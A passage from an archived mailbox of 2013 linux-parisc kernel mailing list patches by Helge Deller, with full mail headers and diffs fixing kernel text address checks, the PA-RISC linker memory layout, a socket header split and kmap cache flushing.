j9arKCVZyjbXkOmTjRXrGpgs697yqail100U3VuNXgrdBJz98oHbSB4t1jG5K/CW
TePZPuUjmHyjWTwyFRPp
=IeWC
-----END PGP SIGNATURE-----
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] kernel/extable: fix address-checks for core_kernel and init
 areas
Date: Thu, 28 Nov 2013 09:16:33 +0100
Lines: 33
Approved: news@gmane.org
Message-ID: <20131128081633.GA2111@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385626597 9241 80.91.229.3 (28 Nov 2013 08:16:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 28 Nov 2013 08:16:37 +0000 (UTC)
To: Linux Kernel <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Ingo Molnar <mingo@elte.hu>,
	Rusty Russell <rusty@rustcorp.com.au>,
	Steven Rostedt <rostedt@goodmis.org>,
	Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 28 09:16:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vlwm8-0001YS-19
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Nov 2013 09:16:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751448Ab3K1IQi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 28 Nov 2013 03:16:38 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:52815 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751008Ab3K1IQh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 28 Nov 2013 03:16:37 -0500
Original-Received: from ls3530.box ([84.173.49.202]) by mail.gmx.com (mrgmx002) with
 ESMTPSA (Nemesis) id 0LvENG-1VcM082lc2-010J79 for
 <linux-parisc@vger.kernel.org>; Thu, 28 Nov 2013 09:16:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:+JyjY+H7UojgdbZbegCYaQSJSzawqWe3vZq+lIuDQBcGdkCkOGJ
 pjqGIBUuybX+TH69wNjCk5PJcaKDasIf/fvFBItcXBUJ5nzaok+0Iet+794FZSpG68zbX+9
 R7UC153x7gVIbkREI8D+0e7dXmzcx5KjbykSrndBGICe+fDB1gS8fUhkKUxqudfTFqEY38H
 XlG9RP/GnQQo3k1pULm5A==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5521 gmane.linux.kernel:1603261
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5521>

The init_kernel_text() and core_kernel_text() functions should not include the
labels _einittext and _etext when checking if an address is inside the .text or
.init sections.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/kernel/extable.c b/kernel/extable.c
index 832cb28..763faf0 100644
--- a/kernel/extable.c
+++ b/kernel/extable.c
@@ -61,7 +61,7 @@ const struct exception_table_entry *search_exception_tables(unsigned long addr)
 static inline int init_kernel_text(unsigned long addr)
 {
 	if (addr >= (unsigned long)_sinittext &&
-	    addr <= (unsigned long)_einittext)
+	    addr < (unsigned long)_einittext)
 		return 1;
 	return 0;
 }
@@ -69,7 +69,7 @@ static inline int init_kernel_text(unsigned long addr)
 int core_kernel_text(unsigned long addr)
 {
 	if (addr >= (unsigned long)_stext &&
-	    addr <= (unsigned long)_etext)
+	    addr < (unsigned long)_etext)
 		return 1;
 
 	if (system_state == SYSTEM_BOOTING &&
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: use kernel_text_address() in unwind functions
Date: Sat, 30 Nov 2013 21:23:20 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <20131130202320.GA30998@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385843005 1284 80.91.229.3 (30 Nov 2013 20:23:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 30 Nov 2013 20:23:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 30 21:23:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vmr4Y-0001Ou-Sv
	for glpp-linux-parisc@plane.gmane.org; Sat, 30 Nov 2013 21:23:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750910Ab3K3UXY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Nov 2013 15:23:24 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:55392 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750908Ab3K3UXX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Nov 2013 15:23:23 -0500
Original-Received: from p100.box ([84.173.41.150]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0LyVpm-1VaKia0Bqo-015ozp for
 <linux-parisc@vger.kernel.org>; Sat, 30 Nov 2013 21:23:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:7g6hpN901c7wgGPgeMI53iChOQKgf66YjeS/aodOfCzAf/hc1Gk
 HBuGdBJOMd6kmi2VaF5/LVCZ0vRWmNQsPqQcI8cVUveMg72dD/eyxrJgHOM+YfMoc50IC+Z
 zleIUfbdw3HQPNr94uSu9oLA+OCcW1Dyw/T9VHcw0THFEZruPOIUCr5xMfLsEnMXSFE3oeq
 pV8jJ9A8z6Pb2UVVeJ29Q==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5522
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5522>

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/unwind.c b/arch/parisc/kernel/unwind.c
index 76ed62e..ddd988b 100644
--- a/arch/parisc/kernel/unwind.c
+++ b/arch/parisc/kernel/unwind.c
@@ -168,7 +168,7 @@ void unwind_table_remove(struct unwind_table *table)
 }
 
 /* Called from setup_arch to import the kernel unwind info */
-int unwind_init(void)
+int __init unwind_init(void)
 {
 	long start, stop;
 	register unsigned long gp __asm__ ("r27");
@@ -233,7 +233,6 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
 	e = find_unwind_entry(info->ip);
 	if (e == NULL) {
 		unsigned long sp;
-		extern char _stext[], _etext[];
 
 		dbg("Cannot find unwind entry for 0x%lx; forced unwinding\n", info->ip);
 
@@ -281,8 +280,7 @@ static void unwind_frame_regs(struct unwind_frame_info *info)
 				break;
 			info->prev_ip = tmp;
 			sp = info->prev_sp;
-		} while (info->prev_ip < (unsigned long)_stext ||
-			 info->prev_ip > (unsigned long)_etext);
+		} while (!kernel_text_address(info->prev_ip));
 
 		info->rp = 0;
 
@@ -435,9 +433,8 @@ unsigned long return_address(unsigned int level)
 	do {
 		if (unwind_once(&info) < 0 || info.ip == 0)
 			return 0;
-		if (!__kernel_text_address(info.ip)) {
+		if (!kernel_text_address(info.ip))
 			return 0;
-		}
 	} while (info.ip && level--);
 
 	return info.ip;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix kernel memory layout in vmlinux.ld.S
Date: Sat, 30 Nov 2013 22:07:51 +0100
Lines: 289
Approved: news@gmane.org
Message-ID: <20131130210751.GA29456@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385845674 26423 80.91.229.3 (30 Nov 2013 21:07:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 30 Nov 2013 21:07:54 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 30 22:08:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Vmrlc-0000Ui-KC
	for glpp-linux-parisc@plane.gmane.org; Sat, 30 Nov 2013 22:07:57 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751214Ab3K3VHz (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Nov 2013 16:07:55 -0500
Original-Received: from mout.gmx.net ([212.227.15.15]:58461 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750892Ab3K3VHy (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Nov 2013 16:07:54 -0500
Original-Received: from p100.box ([84.173.41.150]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0LpbfG-1V9wNy3f4I-00fQWK for
 <linux-parisc@vger.kernel.org>; Sat, 30 Nov 2013 22:07:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:nwwx+Cyv/tW1/FNXciFyTJvKBjBiQhat5s56AhXJShbLvfofKWc
 woj09oaTJ58QDSBcA+vUtaag8rkiAzWuCt3QCeYuPrZpzl2MdVOKBkcIcLRwQzGxap8nLih
 v9ZhYTtq9nUyqhuIKHTWYZVCX6LDpMyhRTIWSSwlLhYA303xoX4wxkwKJMVyg3jaOI+jOSZ
 dB1FC22NNeqFr7FaOr8OQ==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5523
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5523>

When building a 64bit kernel sometimes functions in the .init section were not
able to reach the standard kernel function. Main reason for this problem is,
that the linkage tables (.plt, .opd, .dlt) tend to become pretty huge and thus
the distance gets too big for short calls.

One option to avoid this is to use the -mlong-calls compiler option, but this
increases the binary size and introduces a performance penalty.

Instead, with this patch we just lay out the binary differently.  Init code is
stored first, followed by text, R/O and finally R/W data. This means, that init
and text code is now much closer to each other, which is sufficient to reach
each other by short calls.
 
Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/kernel/head.S b/arch/parisc/kernel/head.S
index d2d5825..d4dc588 100644
--- a/arch/parisc/kernel/head.S
+++ b/arch/parisc/kernel/head.S
@@ -41,9 +41,7 @@ END(boot_args)
         .import fault_vector_11,code    /* IVA parisc 1.1 32 bit */
 	.import	$global$		/* forward declaration */
 #endif /*!CONFIG_64BIT*/
-	.export _stext,data		/* Kernel want it this way! */
-_stext:
-ENTRY(stext)
+ENTRY(parisc_kernel_start)
 	.proc
 	.callinfo
 
@@ -347,7 +345,7 @@ smp_slave_stext:
 	.procend
 #endif /* CONFIG_SMP */
 
-ENDPROC(stext)
+ENDPROC(parisc_kernel_start)
 
 #ifndef CONFIG_64BIT
 	.section .data..read_mostly
diff --git a/arch/parisc/kernel/vmlinux.lds.S b/arch/parisc/kernel/vmlinux.lds.S
index 4bb095a..0dacc5c 100644
--- a/arch/parisc/kernel/vmlinux.lds.S
+++ b/arch/parisc/kernel/vmlinux.lds.S
@@ -6,24 +6,19 @@
  *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
  *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
  *    Copyright (C) 2003 James Bottomley <jejb with parisc-linux.org>
- *    Copyright (C) 2006 Helge Deller <deller@gmx.de>
- *
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
+ *    Copyright (C) 2006-2013 Helge Deller <deller@gmx.de>
+ */
+
+/*
+ * Put page table entries (swapper_pg_dir) as the first thing in .bss. This
+ * will ensure that it has .bss alignment (PAGE_SIZE).
  */
+#define BSS_FIRST_SECTIONS	*(.data..vm0.pmd) \
+				*(.data..vm0.pgd) \
+				*(.data..vm0.pte)
+
 #include <asm-generic/vmlinux.lds.h>
+
 /* needed for the processor specific cache alignment size */	
 #include <asm/cache.h>
 #include <asm/page.h>
@@ -39,7 +34,7 @@ OUTPUT_FORMAT("elf64-hppa-linux")
 OUTPUT_ARCH(hppa:hppa2.0w)
 #endif
 
-ENTRY(_stext)
+ENTRY(parisc_kernel_start)
 #ifndef CONFIG_64BIT
 jiffies = jiffies_64 + 4;
 #else
@@ -49,11 +44,29 @@ SECTIONS
 {
 	. = KERNEL_BINARY_TEXT_START;
 
+	__init_begin = .;
+	HEAD_TEXT_SECTION
+	INIT_TEXT_SECTION(8)
+
+	. = ALIGN(PAGE_SIZE);
+	INIT_DATA_SECTION(PAGE_SIZE)
+	/* we have to discard exit text and such at runtime, not link time */
+	.exit.text :
+	{
+		EXIT_TEXT
+	}
+	.exit.data :
+	{
+		EXIT_DATA
+	}
+	PERCPU_SECTION(8)
+	. = ALIGN(PAGE_SIZE);
+	__init_end = .;
+	/* freed after init ends here */
+
 	_text = .;		/* Text and read-only data */
-	.head ALIGN(16) : {
-		HEAD_TEXT
-	} = 0
-	.text ALIGN(16) : {
+	_stext = .;
+	.text ALIGN(PAGE_SIZE) : {
 		TEXT_TEXT
 		SCHED_TEXT
 		LOCK_TEXT
@@ -68,21 +81,28 @@ SECTIONS
 		*(.lock.text)		/* out-of-line lock text */
 		*(.gnu.warning)
 	}
-	/* End of text section */
+	. = ALIGN(PAGE_SIZE);
 	_etext = .;
+	/* End of text section */
 
 	/* Start of data section */
 	_sdata = .;
 
-	RODATA
+	RO_DATA_SECTION(8)
 
-	/* writeable */
-	/* Make sure this is page aligned so
-	 * that we can properly leave these
-	 * as writable
-	 */
-	. = ALIGN(PAGE_SIZE);
-	data_start = .;
+#ifdef CONFIG_64BIT
+	. = ALIGN(16);
+	/* Linkage tables */
+	.opd : {
+		*(.opd)
+	} PROVIDE (__gp = .);
+	.plt : {
+		*(.plt)
+	}
+	.dlt : {
+		*(.dlt)
+	}
+#endif
 
 	/* unwind info */
 	.PARISC.unwind : {
@@ -91,7 +111,15 @@ SECTIONS
 		__stop___unwind = .;
 	}
 
-	EXCEPTION_TABLE(16)
+	/* writeable */
+	/* Make sure this is page aligned so
+	 * that we can properly leave these
+	 * as writable
+	 */
+	. = ALIGN(PAGE_SIZE);
+	data_start = .;
+
+	EXCEPTION_TABLE(8)
 	NOTES
 
 	/* Data */
@@ -107,54 +135,8 @@ SECTIONS
 	_edata = .;
 
 	/* BSS */
-	__bss_start = .;
-	/* page table entries need to be PAGE_SIZE aligned */
-	. = ALIGN(PAGE_SIZE);
-	.data..vmpages : {
-		*(.data..vm0.pmd)
-		*(.data..vm0.pgd)
-		*(.data..vm0.pte)
-	}
-	.bss : {
-		*(.bss)
-		*(COMMON)
-	}
-	__bss_stop = .;
-
-#ifdef CONFIG_64BIT
-	. = ALIGN(16);
-	/* Linkage tables */
-	.opd : {
-		*(.opd)
-	} PROVIDE (__gp = .); 
-	.plt : {
-		*(.plt)
-	} 
-	.dlt : {
-		*(.dlt)
-	}
-#endif
+	BSS_SECTION(PAGE_SIZE, PAGE_SIZE, 8)
 
-	/* reserve space for interrupt stack by aligning __init* to 16k */
-	. = ALIGN(16384);
-	__init_begin = .;
-	INIT_TEXT_SECTION(16384)
-	. = ALIGN(PAGE_SIZE);
-	INIT_DATA_SECTION(16)
-	/* we have to discard exit text and such at runtime, not link time */
-	.exit.text :
-	{
-		EXIT_TEXT
-	}
-	.exit.data :
-	{
-		EXIT_DATA
-	}
-
-	PERCPU_SECTION(L1_CACHE_BYTES)
-	. = ALIGN(PAGE_SIZE);
-	__init_end = .;
-	/* freed after init ends here */
 	_end = . ;
 
 	STABS_DEBUG
diff --git a/arch/parisc/mm/init.c b/arch/parisc/mm/init.c
index b0f96c0..96f8168 100644
--- a/arch/parisc/mm/init.c
+++ b/arch/parisc/mm/init.c
@@ -32,6 +32,7 @@
 #include <asm/sections.h>
 
 extern int  data_start;
+extern void parisc_kernel_start(void);	/* Kernel entry point in head.S */
 
 #if PT_NLEVELS == 3
 /* NOTE: This layout exactly conforms to the hybrid L2/L3 page table layout
@@ -324,8 +325,9 @@ static void __init setup_bootmem(void)
 	reserve_bootmem_node(NODE_DATA(0), 0UL,
 			(unsigned long)(PAGE0->mem_free +
 				PDC_CONSOLE_IO_IODC_SIZE), BOOTMEM_DEFAULT);
-	reserve_bootmem_node(NODE_DATA(0), __pa((unsigned long)_text),
-			(unsigned long)(_end - _text), BOOTMEM_DEFAULT);
+	reserve_bootmem_node(NODE_DATA(0), __pa(KERNEL_BINARY_TEXT_START),
+			(unsigned long)(_end - KERNEL_BINARY_TEXT_START),
+			BOOTMEM_DEFAULT);
 	reserve_bootmem_node(NODE_DATA(0), (bootmap_start_pfn << PAGE_SHIFT),
 			((bootmap_pfn - bootmap_start_pfn) << PAGE_SHIFT),
 			BOOTMEM_DEFAULT);
@@ -378,6 +380,17 @@ static void __init setup_bootmem(void)
 	request_resource(&sysram_resources[0], &pdcdata_resource);
 }
 
+static int __init parisc_text_address(unsigned long vaddr)
+{
+	static unsigned long head_ptr __initdata;
+
+	if (!head_ptr)
+		head_ptr = PAGE_MASK & (unsigned long)
+			dereference_function_descriptor(&parisc_kernel_start);
+
+	return core_kernel_text(vaddr) || vaddr == head_ptr;
+}
+
 static void __init map_pages(unsigned long start_vaddr,
 			     unsigned long start_paddr, unsigned long size,
 			     pgprot_t pgprot, int force)
@@ -466,7 +479,7 @@ static void __init map_pages(unsigned long start_vaddr,
 				 */
 				if (force)
 					pte =  __mk_pte(address, pgprot);
-				else if (core_kernel_text(vaddr) &&
+				else if (parisc_text_address(vaddr) &&
 					 address != fv_addr)
 					pte = __mk_pte(address, PAGE_KERNEL_EXEC);
 				else
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.stable
Subject: [PATCH] parisc: break out SOCK_NONBLOCK define to own asm header file
Date: Sat, 30 Nov 2013 23:42:27 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <20131130224227.GA23795@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385851360 17394 80.91.229.3 (30 Nov 2013 22:42:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 30 Nov 2013 22:42:40 +0000 (UTC)
To: stable@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Nov 30 23:42:43 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VmtFJ-0003bL-0i
	for glpp-linux-parisc@plane.gmane.org; Sat, 30 Nov 2013 23:42:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752204Ab3K3Wmc (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 30 Nov 2013 17:42:32 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:59809 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751545Ab3K3Wma (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 30 Nov 2013 17:42:30 -0500
Original-Received: from p100.box ([84.173.41.150]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0Ma2Lr-1W32eR431b-00LrE3 for
 <linux-parisc@vger.kernel.org>; Sat, 30 Nov 2013 23:42:29 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:1JneClLgH1ZISnhSZtMHQQ1DYtrYm/f6/GyHElnR29p2qN9SbTa
 n/8D4tyrRyinXU4ZPEC0URuqrrs/W72EF44Um1rQPYB+vC5SykbpUFnXCfwFy6p7hxeKtbD
 IJaA8dSaOnxDilyRnu5tJbUIfaRMe9jobeZqHYSDMFo+JcHhfPQEckHJal1WkF4t81ibbfQ
 juI3Hy7jk7HB3Iri9IlLw==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5524 gmane.linux.kernel.stable:70898
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5524>

Dear stable kernel maintainers,

Can you please schedule this patch for inclusion starting from kernel 3.7+ ?

Upstream commit:
 38c7937 parisc: break out SOCK_NONBLOCK define to own asm header file

Cherry-picking will probably not work easily because of this patch which went
in before: 62748f3 net: introduce SO_MAX_PACING_RATE

Thanks,
Helge

----------------
parisc: break out SOCK_NONBLOCK define to own asm header file

Break SOCK_NONBLOCK out to its own asm-file as other arches do. This
fixes build errors with auditd and probably other packages.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/socket.h b/arch/parisc/include/asm/socket.h
new file mode 100644
index 0000000..748016c
--- /dev/null
+++ b/arch/parisc/include/asm/socket.h
@@ -0,0 +1,11 @@
+#ifndef _ASM_SOCKET_H
+#define _ASM_SOCKET_H
+
+#include <uapi/asm/socket.h>
+
+/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
+ * have to define SOCK_NONBLOCK to a different value here.
+ */
+#define SOCK_NONBLOCK	0x40000000
+
+#endif /* _ASM_SOCKET_H */
diff --git a/arch/parisc/include/uapi/asm/socket.h b/arch/parisc/include/uapi/asm/socket.h
index 71700e6..9f2174f 100644
--- a/arch/parisc/include/uapi/asm/socket.h
+++ b/arch/parisc/include/uapi/asm/socket.h
@@ -1,5 +1,5 @@
-#ifndef _ASM_SOCKET_H
-#define _ASM_SOCKET_H
+#ifndef _UAPI_ASM_SOCKET_H
+#define _UAPI_ASM_SOCKET_H
 
 #include <asm/sockios.h>
 
@@ -75,9 +75,4 @@
 
 #define SO_BUSY_POLL		0x4027
 
-/* O_NONBLOCK clashes with the bits used for socket types.  Therefore we
- * have to define SOCK_NONBLOCK to a different value here.
- */
-#define SOCK_NONBLOCK   0x40000000

From - Thu Nov 08 21:09:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: fix cache flushing in kmap/kunmap API implementation
 for aio
Date: Sun, 1 Dec 2013 22:18:32 +0100
Lines: 188
Approved: news@gmane.org
Message-ID: <20131201211832.GA15998@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1385932720 19517 80.91.229.3 (1 Dec 2013 21:18:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 1 Dec 2013 21:18:40 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 01 22:18:41 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VnEPY-0000Ri-Q5
	for glpp-linux-parisc@plane.gmane.org; Sun, 01 Dec 2013 22:18:41 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750828Ab3LAVSh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 1 Dec 2013 16:18:37 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:62875 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751401Ab3LAVSh (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 1 Dec 2013 16:18:37 -0500
Original-Received: from p100.box ([84.173.72.112]) by mail.gmx.com (mrgmx101) with
 ESMTPSA (Nemesis) id 0MY3Ho-1W9HX01pmC-00UuP8 for
 <linux-parisc@vger.kernel.org>; Sun, 01 Dec 2013 22:18:35 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:vmul+OBzCSowszztzaA5L3P7WDP3M8KEvx7sH46JzBX7W+8lcOm
 lrfenjYi85bANIiF+i/hvF6cMsFnHuQ7BlJuo5TDFzIbMhvZZ9D2Pi11+XN0Oq8A0m7CGWu
 +pPrItm3giPE3WD3XqvJTi8IczqXxaBte9BxuwfZj/sDYkOGCXxCCdYYrSutOOrYZmvgSi3
 2nUlr3ntszO1HoJ1ETK5g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5525
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5525>

This is now the next try to fix the aio bug in our kmap/kunmap
implementation. It's basically stuff from 

@James: Does this looks better? Can we get a signed-off or Acked-by from
you on this patch?
The old mail thread was named "aio: fix D-cache aliasing issues"..

Dave & James: You can see my current patch description below. I would
be happy if one of you could come up with a better one...

Tested on my C8000 and works OK.

Helge

-------------------
From: John David Anglin <dave.anglin@bell.net>

The aio-stress testcase revealed the problems in our kmap/kunmap API, that we
didn't flushed the dcache page during kmap() on PA8800/PA8900 CPUs, and always
needed to flush the kernel dcache at kunmap(), even if the CPU doesn't require
conherency (< PA8800).

Signed-off-by: John David Anglin <dave.anglin@bell.net>
Signed-off-by: Helge Deller <deller@gmx.de>
Cc: <stable@vger.kernel.org> # 3.9+

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index f0e2784..8ddab5e 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -125,42 +125,44 @@ flush_anon_page(struct vm_area_struct *vma, struct page *page, unsigned long vma
 void mark_rodata_ro(void);
 #endif
 
-#ifdef CONFIG_PA8X00
-/* Only pa8800, pa8900 needs this */
-
 #include <asm/kmap_types.h>
 
 #define ARCH_HAS_KMAP
 
-void kunmap_parisc(void *addr);
-
 static inline void *kmap(struct page *page)
 {
 	might_sleep();
